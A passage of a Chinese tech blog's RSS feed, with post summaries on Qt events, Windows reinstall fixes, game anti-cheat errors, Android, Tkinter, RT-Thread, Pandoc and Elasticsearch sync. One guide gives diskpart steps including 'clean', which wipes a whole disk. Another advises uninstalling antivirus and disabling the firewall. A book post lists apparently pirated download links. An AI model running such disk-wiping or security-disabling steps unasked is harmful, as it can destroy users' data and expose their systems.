Qt事件产生后会立即被分发到QWidget对象（QObject的子类，如按键QPushButton对象等）;&#xA;B. QWidget对象其内部会有一个event(QEVent*)函数被调用，进行事件处理;&#xA;C. event()根据事件类型调用不同的事件处理函数（默认的子函数）;&#xA;D. 在事件处理函数中发送Qt中预定义的信号;&#xA;E. 调用信号关联的槽函数。&#xA;（4） QPushButton事件处理分析&#xA;①接收到鼠标事件&#xA;②QApplication调用QObject::event(QEvent*)成员函数来处理，进行事件的分派。&#xA;③调用QPushButton的mouseReleaseEvent(QMouseEvent*)成员函数&#xA;④QPushButton调用click()成员函数&#xA;⑤触发信号SIGNAL(clicked())&#xA;（5）实例&#xA;实例一：自定义事件处理函数&#xA;鼠标左键右键&#xA;wigth.h&#xA;#ifndef WIDGET_H #define WIDGET_H ​ #include &amp;lt;QWidget&amp;gt; ​ class Widget : public QWidget { Q_OBJECT protected: void mousePressEvent(QMouseEvent *event); public: Widget(QWidget *parent = 0); ​ ~Widget(); }; ​ #endif // WIDGET_H ​ widgth.</description>
    </item>
    <item>
      <title>重装win10，win7系统后， 1219-V 1217-v网卡驱动安装不上的解决方法</title>
      <link>https://bchobby.github.io/posts/23e521fc440fd2e57b981e993483faff/</link>
      <pubDate>Sat, 15 Feb 2020 00:47:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23e521fc440fd2e57b981e993483faff/</guid>
      <description>经常遇到很多用户新买的电脑，做了系统后，网卡驱动安不上，用驱动精灵提示无法识别，怎么办？&#xA;一、去intel官网下在自动安装工具，我这里贴出来，大家可以自己下载，https://yunpan.360.cn/surl_yxseRz7DqtY&#xA;二、下个360驱动大师网卡版，这可以安装的。&#xA;有其他问题，可以关注下方公众号</description>
    </item>
    <item>
      <title>重装win10提示“在EFI系统上，Windows只能安装到GPT磁盘”的解决方法</title>
      <link>https://bchobby.github.io/posts/cb7ad4caa36aca4651a9a97c6f972464/</link>
      <pubDate>Fri, 14 Feb 2020 23:33:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb7ad4caa36aca4651a9a97c6f972464/</guid>
      <description>在重装win10系统，当选中安装的系统盘时，提示Windows无法安装到这个磁盘，选中的磁盘具有MBR分区表。在EFI系统上，Windows只能安装到GPT磁盘。主要是由于磁盘对应MBR分区表；而bios启动方式为UEFI方式导致。&#xA;下面这图，就是因为BIOS开启UEFI，而硬盘分区表格式为MBR导致的无法安装&#xA;主要有两种解决方法：&#xA;让启动U盘以传统的BIOS方式启动来安装。&#xA;将电脑的系统盘由MBR修改为GPT&#xA;01让启动U盘以传统的BIOS方式启动来安装&#xA;方法一：直接将启动U盘里的 efi 整个文件夹和bootmgr.efi文件删除后，再安装即可。安装方法，如下图所示：&#xA;02电脑的系统盘由MBR修改为GPT&#xA;1.在如下的win10的安装界面，按 shift + F10 键&#xA;2.将出现如下命令提示符窗口&#xA;3.在命令提示符窗口依次执行如下命令：&#xA;输入：diskpart 命令后，按enter键，进入到 DISKPART 模式。&#xA;输入：list disk 命令后，按enter键，查看电脑的硬盘。编号0，表示电脑的第一块硬盘；编号2，表示电脑的第二块硬盘；根据电脑的硬盘数量不同显示不同。&#xA;输入：select disk 0 命令后，按enter键，表示选中第一块硬盘。（select disk x 命令中的x，表示选中的硬盘编号）。&#xA;输入：clean 命令清除选中硬盘上的所有分区和数据。&#xA;执行：convert gpt 命令将选中的硬盘转换成GPT分区表格式。&#xA;输入：exit 命令退出 DISKPART 模式。&#xA;输入：exit 命令退出命令提示符模式。&#xA;（4）、然后再继续进行分区，安装即可。也可以只建立一个主分区，等系统安装完成后再进行分区。&#xA;问题交流可以关注下方公众号</description>
    </item>
    <item>
      <title>win10系统吃鸡游戏服务启动失败，出现 Failed to start Battleye service(0)正确的解决方法</title>
      <link>https://bchobby.github.io/posts/7af9fb67816f7ed30356121079fa418e/</link>
      <pubDate>Fri, 14 Feb 2020 18:10:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7af9fb67816f7ed30356121079fa418e/</guid>
      <description>近期有玩家反馈自己的游戏在启动的过程中一直遇见Failed to start Battleye service(0)，在系统服务里启动Battleye service也显示失败，这个问题到底要如何解决呢?下面提供正确的解决方法。&#xA;1&#xA;可能的原因分析&#xA;一、杀毒软件和防火墙defender阻拦了 battleye服务的启动。&#xA;二、系统网络故障，如协议被破坏，dns故障，hosts文件被篡改，浏览器设置故障。&#xA;2&#xA;解决方法&#xA;一、根据第一个原因分析，把杀毒软件卸载，像早上修的那台电脑，卸载360杀毒，关闭windows defender防火墙，不会关闭的自行百度。&#xA;二、对系统网络故障，第一步采取，打开360安全卫士的断网急救箱，进行扫描，对发现的问题修复。&#xA;三、修复网络或者说重置网络，具体步骤如下，&#xA;1首先按开始菜单&#xA;2搜索CMD 右键以管理员身份运行&#xA;3输入netsh advfirewall reset回车&#xA;输入netsh int ip reset回车&#xA;输入netsh int ipv6 reset回车&#xA;输入netsh winsock reset回车&#xA;4然后重启电脑&#xA;上述方法，经过试验，完全有效。&#xA;问题交流可以关注下方公众号</description>
    </item>
    <item>
      <title>联想拯救者R720在重装Win10系统时无法识别固态硬盘的解决方法</title>
      <link>https://bchobby.github.io/posts/9cc08f32bc208fdb6f840a783ae0fad4/</link>
      <pubDate>Fri, 14 Feb 2020 17:52:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cc08f32bc208fdb6f840a783ae0fad4/</guid>
      <description>昨天安装一台r720的电脑，死活也找不到固态硬盘，用的是纯净版win10 iso镜像制作的，bios里可以看到固态盘，安装分区中识别不到，如下图&#xA;经查看多方文档，发现原因在这里。由于拯救者R720出厂系统的BIOS内，SATAController Mode默认设置的是为Intel RST Premium模式，该模式会将硬盘组成磁盘阵列的模式（Raid模式），而原版的Window 10安装镜像默认没有Raid模式的驱动，因此在Intel RST Premium的硬盘模式下，安装系统时会显示找不到固态硬盘。&#xA;下面有2个解决方案&#xA;解决方案一：&#xA;下载附件中的Intel Raid模式驱动，将驱动安装包解压缩后将整个文件夹完整的放到到系统安装U盘的根目录下，然后在安装系统选择硬盘时，加载此驱动。（该驱动分为32位和64位，分别对应32位系统和64位系统）&#xA;选择“加载驱动程序”；&#xA;弹出“加载驱动程序”的页面，选择“浏览”；&#xA;找到存放Raid驱动的文件夹，默认文件名为“f6flpy-x86”或“f6flpy-x64”，选择该文件，然后确定。&#xA;随后会检测到Raid模式驱动程序，点击下一步后，出现读取条开始加载此驱动。（如果提示报错建议重新加载该驱动多试几次，并且驱动文件存放的路径最好为全英文路径）&#xA;在加载成功后会跳回之前选择硬盘的界面，此时已经可以正常显示出机器内的固态硬盘，并且可以正常安装系统。&#xA;解决方案二：&#xA;在安装系统前，进入电脑的BIOS界面（方法：开机后立刻连续敲击F2键或者关机后通过novo小孔选择BIOS Setup），选择到Configuration页面，将SATA Controller Mode选项中的Intel RST Premium，改成AHCI。&#xA;修改之后，按下F10键，选择YES保存并退出。&#xA;然后可以在通过引导进入安装系统的界面，可以正常显示固态硬盘，并重装系统。&#xA;备注:今天我是用第二种方法解决的，第一种方法嫌麻烦，没去尝试，有兴趣的可以尝试。&#xA;其他出厂默认Raid SSD模式的机型均可参照此方法加载Raid模式驱动重装Win10系统。&#xA;有兴趣的朋友可以加下面公众号或微信号探讨交流。</description>
    </item>
    <item>
      <title>吃鸡(绝地求生)进入游戏时出现Driver Load Error(1450) 错误的解决方案</title>
      <link>https://bchobby.github.io/posts/c53059e86e1e4edf31187c27ff83db08/</link>
      <pubDate>Fri, 14 Feb 2020 17:50:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c53059e86e1e4edf31187c27ff83db08/</guid>
      <description>近期有些朋友在玩吃鸡的时候，会提示Failed to initialize BattlEye Service:Driver Load Error(1450) 驱动加载失败错误，如下图，到底是什么原因造成的？如何解决呢？&#xA;01 问题的由来&#xA;之前有玩家和我们反馈，运行游戏时会报错，提示“Failed to initialize BattlEye Service:Driver Load Error(1450)”,卸载维护大师客户端才可以运行游戏，因此怀疑是被维护大师安全中心给拦截了。&#xA;”Driver Load Error“顾名思义为驱动加载失败，表示游戏的驱动程序无法加载。我们对此就很疑惑了：到底是什么原因导致的这个问题呢？&#xA;经过我们查看故障原因分析代码，确认此问题是在特定系统环境下，受到Windows系统限制导致的！在某些系统补丁未打的环境下，Windows 7系统对LoadImage回调有数量限制，最多只允许加载8个。此限制会影响包括绝地求生、h1z1、方舟、彩虹六号等所有使用BE反作弊的游戏。&#xA;在网吧客户机中，我们有时会安装很多其他软件，比如一些拦截恶意广告病毒的安全软件，无盘软件、计费软件自带的驱动也会注册LoadImage回调，很容易就占满了这8个LoadImage回调的位置。这样在启动游戏的时候，游戏的驱动就会因为没有位置而无法加载，从而出现了1450报错。&#xA;有看官表示疑问了：“为什么卸载维护大师客户端后游戏就能正常了呢？”，很简单的道理，卸载维护大师客户端就等于把维护大师安全中心占用LoadImage回调的位置，给游戏驱动腾出来了；同理，卸载其他的占用LoadImage回调的程序，游戏一样也可以正常启动。所以最根本的原因还是因为没有更新系统补丁而被系统给限制了。&#xA;在2014年微软发布了补丁KB2922790，将LoadImage回调的限制由8个提升到了64个。当我们安装该补丁后，就足以满足各种软件的加载需求，不会受到限制了。&#xA;02 解决办法&#xA;办法一&#xA;打补丁，即安装KB2922790补丁（win7 x64 sp1，一定要sp1版本才可以）&#xA;KB2922790下载：关注下方公众号,输入KB2922790,便会弹出下载地址&#xA;若不能打补丁请先卸载控制面板-卸载更新中这两个补丁：KB4015546 ，KB4022722&#xA;注: win10 不存在这个问题，以上问题仅出现在win7系统中&#xA;KB2922790补丁下载方法：关注下方公众号,输入KB2922790,便会弹出下载地址</description>
    </item>
    <item>
      <title>Android Activity详解</title>
      <link>https://bchobby.github.io/posts/d8123b635ad3a424aed1eb733f3781b1/</link>
      <pubDate>Fri, 14 Feb 2020 15:13:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8123b635ad3a424aed1eb733f3781b1/</guid>
      <description>一、Activity概述 Activity，实现程序的交互。&#xA;Activity，代表手机或平板中的一屏。&#xA;Activity的4种状态：&#xA;Activity的生命周期：&#xA;更正：OnRestart应该接到Onstart方法。&#xA;二、创建、启动和关闭Activity 1、创建Activity 创建继承自Activity的Activity重写需要的回调方法设置要显示的视图 //extends Activity，即步骤一 public class DetailActivity extends Activity { //onCreate(),即步骤二 @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //setContentView，即步骤三 setContentView(R.layout.activity_main); } } 创建了Activity后需要配置才能使用。即要在Manifests中添加此acitivity&#xA;&amp;lt;activity android:name=&#34;.DetailActivity&#34; &amp;gt; &amp;lt;/activity&amp;gt; //在配置name属性时，如果配置的Activity与上面的包路径一样，直接.类名 //如果是在上面包的子包中，则.子包序列加上类名 android提供的创建Activity的向导，步骤简单&#xA;要在某个包中创建Acitivity，则单击鼠标右键，选择“New”→“Activity”→“Empty Activity”→&#34;Finish&#34;，则完成了Activity的创建，并自动创建了布局文件，并进行了配置。&#xA;2、启动和关闭Activity 当创建和配置一个Activity后，它不会自动显示在屏幕上，需要我们启动它。&#xA;要启动Activity，分成两种情况：&#xA;入口Activity其他Activity ① 入口Activity 要在AndroidManifest.xml中进行配置。&#xA;&amp;lt;activity android:name=&#34;.MainActivity&#34;&amp;gt; &amp;lt;!--通过下面4句代码，可把该Acitivity配置成程序的入口--&amp;gt; &amp;lt;!--下面4句代码，是用来配置intent过滤器的。--&amp;gt; &amp;lt;intent-filter&amp;gt; &amp;lt;!--action标记：指定响应的动作名，这条代码把一个activity指定为程序的主体动向--&amp;gt; &amp;lt;action android:name=&#34;android.intent.action.MAIN&#34; /&amp;gt; &amp;lt;!--category标记：指定在什么环境下，动作会响应。这条代码可把某个Activity作为应用程序的启动项--&amp;gt; &amp;lt;category android:name=&#34;android.intent.category.LAUNCHER&#34; /&amp;gt; &amp;lt;/intent-filter&amp;gt; &amp;lt;/activity&amp;gt; Activity需要通过Intent来表达自己的意图。&#xA;② 其他Activity 需要startActivity()方法来启动&#xA;例子：&#xA;//单击按钮后，启动另一个Activity button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { //此处不能使用this，因为此处使用了匿名内部类，若用this就会指向匿名内部类对象了。 Intent intent=new Intent(MainActivity.</description>
    </item>
    <item>
      <title>利用python制作简易四则计算器</title>
      <link>https://bchobby.github.io/posts/bce43d10ad5564dd747c4d0235ed08c0/</link>
      <pubDate>Fri, 14 Feb 2020 02:12:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bce43d10ad5564dd747c4d0235ed08c0/</guid>
      <description>以下代码仅仅是实现了在输入框内输入数字与运算符进行计算，使用按钮进行输入的功能由于时间问题尚未开发出来，稍后有时间会继续开发的，未完待续…&#xA;from tkinter import * root = Tk() frame = Frame(root) frame.pack(padx=10,pady=10) v1= StringVar() v2= StringVar() v3= StringVar() v4= StringVar() testCMD=root.register(test) e1 = Entry(frame,width=10,textvariable=v1,validate=&#34;key&#34;,validatecommand=(testCMD,&#34;%P&#34;)).grid(row=0,column=0,padx=5) e2 = Entry(frame,width=2,textvariable=v2,validate=&#34;key&#34;).grid(row=0,column=1,padx=5) e3 = Entry(frame,width=10,textvariable=v3,validate=&#34;key&#34;,validatecommand=(testCMD,&#34;%P&#34;)).grid(row=0,column=2,padx=5) Label(frame,text=&#34;=&#34;).grid(row=0,column=3) e4 = Entry(frame,width=10,textvariable=v4,state=&#34;readonly&#34;).grid(row=0,column=4)#state=&#34;readonly&#34;支持拷贝 def calc(): if str(v2.get())==&#34;+&#34;: result = int(v1.get())+int(v3.get()) elif str(v2.get())==&#34;-&#34;: result = int(v1.get())-int(v3.get()) elif str(v2.get())==&#34;*&#34;: result = int(v1.get())*int(v3.get()) elif str(v2.get())==&#34;/&#34;: result = int(v1.get())/int(v3.get()) v4.set(str(result)) Button(frame,text=&#34;确认&#34;,command=calc).grid(row=1,column=4,pady=5) root.title(&#34;耗子计算器&#34;) mainloop()#窗口的无限次循环 #grid() 放置组件用的 效果图如下：</description>
    </item>
    <item>
      <title>RT-Thread内核介绍</title>
      <link>https://bchobby.github.io/posts/d449a13cda0dfe9547537283c02a25ad/</link>
      <pubDate>Thu, 13 Feb 2020 12:12:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d449a13cda0dfe9547537283c02a25ad/</guid>
      <description>内核基础&#xA;介绍 RT-Thread 内核基础，包括：内核简介、系统的启动流程及内核配置的部分内容。&#xA;RT-Thread 内核的简单介绍，从软件架构入手讲解实时内核的组成与实现，这部分给初学者引入一些 RT-Thread 内核相关的概念与基础知识，让初学者对内核有初步的了解。学完本章，读者将会对 RT-Thread 内核有基本的了解，知道内核的组成部分、系统如何启动、内存分布情况以及内核配置方法。&#xA;RT-Thread 内核介绍&#xA;内核是操作系统最基础也是最重要的部分。下图为 RT-Thread 内核架构图，内核处于硬件层之上，内核部分包括内核库、实时内核实现。&#xA;内核库是为了保证内核能够独立运行的一套小型的类似 C 库的函数实现子集。&#xA;**实时内核的实现包括：**对象管理、线程管理及调度器、线程间通信管理、时钟管理及内存管理等等，内核最小的资源占用情况是 3KB ROM，1.2KB RAM。&#xA;线程调度&#xA;线程是 RT-Thread 操作系统中最小的调度单位，线程调度算法是基于优先级的全抢占式多线程调度算法，即在系统中除了中断处理函数、调度器上锁部分的代码和禁止中断的代码是不可抢占的之外，系统的其他部分都是可以抢占的，包括线程调度器自身。支持 256 个线程优先级（也可通过配置文件更改为最大支持 32 个或 8 个线程优先级，针对 STM32 默认配置是 32 个线程优先级），0 优先级代表最高优先级，最低优先级留给空闲线程使用；同时它也支持创建多个具有相同优先级的线程，相同优先级的线程间采用时间片的轮转调度算法进行调度，使每个线程运行相应时间；另外调度器在寻找那些处于就绪状态的具有最高优先级的线程时，所经历的时间是恒定的，系统也不限制线程数量的多少，线程数目只和硬件平台的具体内存相关。&#xA;时钟管理&#xA;RT-Thread 的时钟管理以时钟节拍为基础，时钟节拍是 RT-Thread 操作系统中最小的时钟单位。RT-Thread 的定时器提供两类定时器机制：第一类是单次触发定时器，这类定时器在启动后只会触发一次定时器事件，然后定时器自动停止。第二类是周期触发定时器，这类定时器会周期性的触发定时器事件，直到用户手动的停止定时器否则将永远持续执行下去。&#xA;另外，根据超时函数执行时所处的上下文环境，RT-Thread 的定时器可以设置为 HARD_TIMER 模式或者 SOFT_TIMER 模式。&#xA;通常使用定时器定时回调函数（即超时函数），完成定时服务。用户根据自己对定时处理的实时性要求选择合适类型的定时器。&#xA;线程间同步&#xA;RT-Thread 采用信号量、互斥量与事件集实现线程间同步。线程通过对信号量、互斥量的获取与释放进行同步；互斥量采用优先级继承的方式解决了实时系统常见的优先级翻转问题。线程同步机制支持线程按优先级等待或按先进先出方式获取信号量或互斥量。线程通过对事件的发送与接收进行同步；事件集支持多事件的 “或触发” 和“与触发”，适合于线程等待多个事件的情况。&#xA;线程间通信&#xA;RT-Thread 支持邮箱和消息队列等通信机制。邮箱中一封邮件的长度固定为 4 字节大小；消息队列能够接收不固定长度的消息，并把消息缓存在自己的内存空间中。邮箱效率较消息队列更为高效。邮箱和消息队列的发送动作可安全用于中断服务例程中。通信机制支持线程按优先级等待或按先进先出方式获取。&#xA;内存管理&#xA;RT-Thread 支持静态内存池管理及动态内存堆管理。当静态内存池具有可用内存时，系统对内存块分配的时间将是恒定的；当静态内存池为空时，系统将申请内存块的线程挂起或阻塞掉 (即线程等待一段时间后仍未获得内存块就放弃申请并返回，或者立刻返回。等待的时间取决于申请内存块时设置的等待时间参数)，当其他线程释放内存块到内存池时，如果有挂起的待分配内存块的线程存在的话，则系统会将这个线程唤醒。&#xA;动态内存堆管理模块在系统资源不同的情况下，分别提供了面向小内存系统的内存管理算法及面向大内存系统的 SLAB 内存管理算法。&#xA;还有一种动态内存堆管理叫做 memheap，适用于系统含有多个地址可不连续的内存堆。使用 memheap 可以将多个内存堆 “粘贴” 在一起，让用户操作起来像是在操作一个内存堆。</description>
    </item>
    <item>
      <title>Ubuntu 安装Pandoc</title>
      <link>https://bchobby.github.io/posts/5554453140c07bcee8d41fa92721fd42/</link>
      <pubDate>Wed, 12 Feb 2020 23:35:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5554453140c07bcee8d41fa92721fd42/</guid>
      <description>文章目录 安装目的Pandoc介绍Terminal安装PandocGitHub下载Pandoc的deb文件转换成.doxc效果测试 安装目的 为了Typora能够导出.doxc文件。&#xA;Pandoc介绍 维基百科：&#xA;Pandoc是由John MacFarlane开发的标记语言转换工具，可实现不同标记语言间的格式转换，堪称该领域中的“瑞士军刀”。Pandoc使用Haskell语言编写，以命令行形式实现与用户的交互，可支持多种操作系统；Pandoc采用GNU GPL授权协议发布，属于自由软件。&#xA;Terminal安装Pandoc 安装Pandoc&#xA;sudo apt-get install pandoc 看到许多博客中说要安装一些支持环境，经实践，不用安装下面的环境也可以导出（占用空间太多了），但是发现导出的文件，目录链接、代码块失效。但是标题的层级、标号的格式、加粗……，为了明确哪些格式可以完美转换，我用Typora的Markdown说明文档转换进行测试，在最后一部分会列出转换效果。&#xA;安装LaTeX环境（不完整也要1.8GB）&#xA;sudo apt install texlive texlive-xetex latex-cjk-all texmaker 磁盘空间如果足够大可以安装完整版(3.5GB空间，实力劝退)：&#xA;sudo apt-get install texlive-full TeX Live是由国际TeX用户组整理和发布的TeX软件发行套装，包含与TeX系统相关的各种程序、编辑与查看工具、常用宏包及文档、常用字体及多国语言支持。TeX Live是许多Linux/Unix系统默认或推荐的TeX套装，同时也支持包括Windows和Mac OS X等在内的其它操作系统。&#xA;安装Haskell平台(600多MB)&#xA;sudo apt-get install haskell-platform GitHub下载Pandoc的deb文件 Pandoc下载页：https://github.com/jgm/pandoc/releases/tag/2.9.1.1&#xA;选择系统对应的版本下载：&#xA;不知为何网速太慢，很难下载下来。&#xA;转换成.doxc效果测试 标题(Headers) 列表(Lists) 任务表 代码块 数学公式 表格 脚注 分割线 内部链接 网页链接 图片 删除线、下划线 Emoji 为方便大家直观查看导出效果，我将文件上传到了csdn：&#xA;Markdown文件&#xA;docx文件&#xA;PDF文件&#xA;png文件&#xA;epub文件&#xA;不得不说，转换成PDF效果不错。</description>
    </item>
    <item>
      <title>西安邮电大学计算机学院复试面试问答题</title>
      <link>https://bchobby.github.io/posts/0d86e95d0fcd387647142a7b1854043e/</link>
      <pubDate>Wed, 12 Feb 2020 23:19:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d86e95d0fcd387647142a7b1854043e/</guid>
      <description>英文自我介绍请英文介绍自己的家乡请英文介绍自己熟悉的项目请英文介绍自己的学校 面试设计问题包含：简述红黑树原理桶排序是怎样实现的哈希有几种散列方式 有需要了解更细致面试过程的可以私聊我，由于目前还没有整理完复试资料，因此这里没办法将所有的问题进行列举。</description>
    </item>
    <item>
      <title>uni-app 音频播放之 createInnerAudioContext()</title>
      <link>https://bchobby.github.io/posts/c99a9c29c48bf12b7958166ff758f32b/</link>
      <pubDate>Wed, 12 Feb 2020 21:51:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c99a9c29c48bf12b7958166ff758f32b/</guid>
      <description>1.先声明全局方法 在 main.js 里&#xA;Vue.prototype.ScanAudio = function(){ var music = null; music = uni.createInnerAudioContext(); //创建播放器对象 music.src= &#34;../../static/raw/right.mp3&#34;; //选择播放的音频 music.play(); //执行播放 } 然后在每个需要调用的地方执行 this.ScanAudio();</description>
    </item>
    <item>
      <title>cs-book</title>
      <link>https://bchobby.github.io/posts/f5d5798d798520dcc510dbaa891a6dc1/</link>
      <pubDate>Wed, 12 Feb 2020 13:11:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5d5798d798520dcc510dbaa891a6dc1/</guid>
      <description>文章目录 说明数据结构与算法相关书籍计算机基础操作系统汇编语言计算机网络计算机组成原理 Python1、Python基础2、数据分析与爬虫 LinuxC语言C++前端人工智能设计模式JavaJava 基础IDEA 教材Java进阶JavaWeb 数据库Go中间件面试相关其他精选书籍Git图灵书籍218本汇总 说明 计算机类的书籍那么贵，作为一个几个小时看完一本书且机不离身的程序员，天天买纸质书是不可能的了，所以对电子书的需求量还是挺多的。为了方便广大的小伙伴也能方便找到对应的电子书，我花费洪荒之力收集了几百本常用的电子书，并且为了解决百度云链接容易失效的问题，我把电子书全部下载打包上传，都有哪些电子书呢？请往下看。&#xA;重要说明：如果目录无法跳转的话，直接拉下去就可以了，这些书籍都是在同一个页面的，我只是方便大家找到对应的，弄了一个页内目录，不过有部分读者反馈他跳转不了（手机是绝对跳转不了的了）。&#xA;数据结构与算法相关书籍 挑战程序设计竞赛 百度云下载链接 密码:mxn7Java数据结构和算法 百度云下载链接 密码:lpym算法图解 百度云下载链接 密码:7osf算法导论 百度云下载链接 密码:p2tp算法第四版 百度云下载链接 密码:rixw数据结构与算法分析C语言描述版 百度云下载链接 密码:mn10数据结构与算法分析Java语言描述版 百度云下载链接 密码:917n数据结构与算法 Python语言描述_裘宗燕 百度云下载链接 密码:96gw剑指offer 百度云下载链接 密码:a4rt计算机程序设计艺术1-3卷 百度云下载链接 密码:i3nh大话数据结构 百度云下载链接 密码:np2o程序员代码面试指南：IT 名企算法与数据结构题目最优解 百度云下载链接 密码:20oh编程珠玑 百度云下载链接 密码:4oow编程之美 百度云下载链接 密码:4zme啊哈算法 百度云下载链接 密码:h4id程序员的算法趣题 百度云下载链接 密码:kk84 计算机基础 操作系统 30天填自制操作系统 百度云下载链接 密码:pxxr操作系统之哲学原理 百度云下载链接 密码:hua7程序是怎样跑起来的 百度云下载链接 密码:pbvh深入理解计算机操作系统 百度云下载链接 密码:2toh现代操作系统 百度云下载链接 密码:huk2 汇编语言 汇编语言（注：这边是王爽写的，我觉得写的很好，适合入门） 百度云下载链接 密码:qea3 计算机网络 计算机网络：自顶向下 百度云下载链接 密码:l77d图解HTTP 百度云下载链接 密码:b42z图解TC/IP 百度云下载链接 密码:5k3x网络是怎样连接的 百度云下载链接 密码:g983HTTP权威指南 百度云下载链接 密码:tqj8UNIX网络编程 百度云下载链接 密码:4buy 计算机组成原理 隐匿在计算机软硬件背后的语言 百度云下载链接 密码:6jiq大话计算机 百度云下载链接 密码:6j1o计算机是怎样跑起来的 百度云下载链接 密码:er12 Python 1、Python基础 编程小白的第一本Python入门书 百度云下载链接 密码:s76bPython编程初学者指南 百度云下载链接 密码:g696Python高级编程 百度云下载链接 密码:qnufPython高性能编程 百度云下载链接 密码:d8s5Python灰帽子 百度云下载链接 密码:nfktPython开发技术详解 百度云下载链接 密码:z0avPython开发实战 百度云下载链接 密码:ee5xPython网络编程基础 百度云下载链接 密码:m15qPython学习手册 百度云下载链接 密码:0yqf精通Scrapy网络爬虫python之蝉 2、数据分析与爬虫 数据科学入门 百度云下载链接 密码:1hz8用Python写网络爬虫 百度云下载链接 密码:nlpaPython数据处理 百度云下载链接 密码:8eomPython数据分析实战 百度云下载链接 密码:idn1Python数据科学手册 百度云下载链接 密码:16u0Python数据可视化编程实战 百度云下载链接 密码:i7hp精通Scrapy网络爬虫 百度云下载链接 密码:jb6u Linux 精通正则表达式 百度云下载链接 密码:vp94鸟哥的Linux私房菜基础篇和服务器篇 百度云下载链接 密码:ubg2深入Linux内核架构 百度云下载链接 密码:fnh2Linux宝典 百度云下载链接 密码:nxheLinux常用命令大全 百度云下载链接 密码:e0n2Linux防火墙 百度云下载链接 密码:sc4uLinux高级程序设计 百度云下载链接 密码:d4wqLinux环境编程 百度云下载链接 密码:xudvLinux命令详解词典 百度云下载链接 密码:yxuz汇编语言基于linux环境第3版 百度云下载链接 密码:yq75 C语言 经典C程序100例 百度云下载链接 密码:tls2C Primer Plus 百度云下载链接 密码:5s85C程序设计语言（包括课后答案等） 百度云下载链接 密码:cfj4C和指针 百度云下载链接 密码:d8a0C语言编程精粹 百度云下载链接 密码:6mctC语言参考手册 百度云下载链接 密码:4hnxC语言函数大全 百度云下载链接 密码:xywtC语言解析教程 百度云下载链接 密码:6lufC语言深度剖析 百度云下载链接 密码:yu63C专家编程 百度云下载链接 密码:xlfm C++ C++ Primer 百度云下载链接 密码:js1aC++编程思想 百度云下载链接 密码:vi02C++对象模型 百度云下载链接 密码:v90k深入探索C++对象模型 百度云下载链接 密码:3xuvC++ Templates 百度云下载链接 密码:4rvwC++编程规范-101条规则准则与最佳实践 百度云下载链接 密码:t43eC++沉思录中文第2版 百度云下载链接 密码:6emrC++大学教程 百度云下载链接 密码:n6phC++设计新思维-泛型编程与设计之应用 百度云下载链接 密码:0el5Effective STL 中文版 百度云下载链接 密码:u7s1More Effective C++中文版 百度云下载链接 密码:xbxvSTL源码剖析 百度云下载链接 密码:mxsh 前端 疯狂aJax讲义 百度云下载链接 密码:pce0Bootstrap实战 百度云下载链接 密码:rzhmHTML5揭秘 百度云下载链接 密码:vaamHTML5与CSS3基础教程 百度云下载链接 密码:2wxmHTML与CSS入门经典 百度云下载链接 密码:tsgmJavaScript DOM编程艺术 百度云下载链接 密码:gsbtJavaScript高级程序设计 百度云下载链接 密码:8ds3JavaScript高效图形编程 百度云下载链接 密码:tab1jQuery高级编程 百度云下载链接 密码:qwtrjQuery技术内幕 百度云下载链接 密码:pglfjQuery权威指南 百度云下载链接 密码:4vrwNode.</description>
    </item>
    <item>
      <title>ES与MySQL数据同步（全量与增量）</title>
      <link>https://bchobby.github.io/posts/ca0017e1b7c9f225adf03a425df93255/</link>
      <pubDate>Tue, 11 Feb 2020 23:41:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca0017e1b7c9f225adf03a425df93255/</guid>
      <description>思考： 考虑ES如何与数据库实现同步？ES如何查询多个字段？如何构建商品服务（包含搜索功能）？ES肯定是集群的，如何集群？一个项目当它做大做当后都可能会需要将数据从传统的数据库同步到另一种数据集合中，一般用于提高查询效率或将数据进行备份的目的。其中比较常见的一种同步方式是从关系型数据库同步到esMQ与logstash实现ES与数据库同步区别基于Docker方式实现Elasticsearch集群整合Elasticsearch IK分词器 一、理论基础 1.1、es与数据库是如何保持一致的呢？ 原理：&#xA;1.2、MySQL与ES实时同步常用插件 参考：https://www.cnblogs.com/jpfss/p/10832918.html&#xA;1.3、logstash-input-jdbc同步插件原理： 作用：使用 logstash-input-jdbc 插件读取 mysql 的数据&#xA;如何安装logstash-input-jdbc插件：https://blog.csdn.net/yeyuma/article/details/50240595#quote&#xA;原理：&#xA;定时执行一个 sql，然后将 sql 执行的结果写入到流中，增量获取的方式没有通过 binlog 方式同步，而是用一个递增字段作为条件去查询，每次都记录当前查询的位置，由于递增的特性，只需要查询比当前大的记录即可获取这段时间内的全部增量，一般的递增字段有两种，AUTO_INCREMENT 的主键 id 和 ON UPDATE CURRENT_TIMESTAMP 的 update_time 字段，id 字段只适用于那种只有插入没有更新的表，update_time 更加通用一些，建议在 mysql 表设计的时候都增加一个 update_time 字段&#xA;1.4、什么是全量同步和增量同步 （1）全量同步&#xA;什么是全量同步：将一个mysql的整个表的所有数据都同步到es中&#xA;常用插件是logstash-input-jdbc，logstash通过sql语句分区间对数据进行查询，然后输出到es进行实现。&#xA;（2）增量同步（canal）&#xA;什么是增量同步：业务场景需要实时性较高并对要求对数据库的压力比较小。&#xA;logstash不再适合增量同步，logstash是基于sql来完成的，并且是通过cron表达式来调用。&#xA;阿里在做大做强的过程中也遇到过类似的问题，为了达到性能的最优，他们自己通过JAVA代码实现了mysql的数据同步功能，通过解析mysql 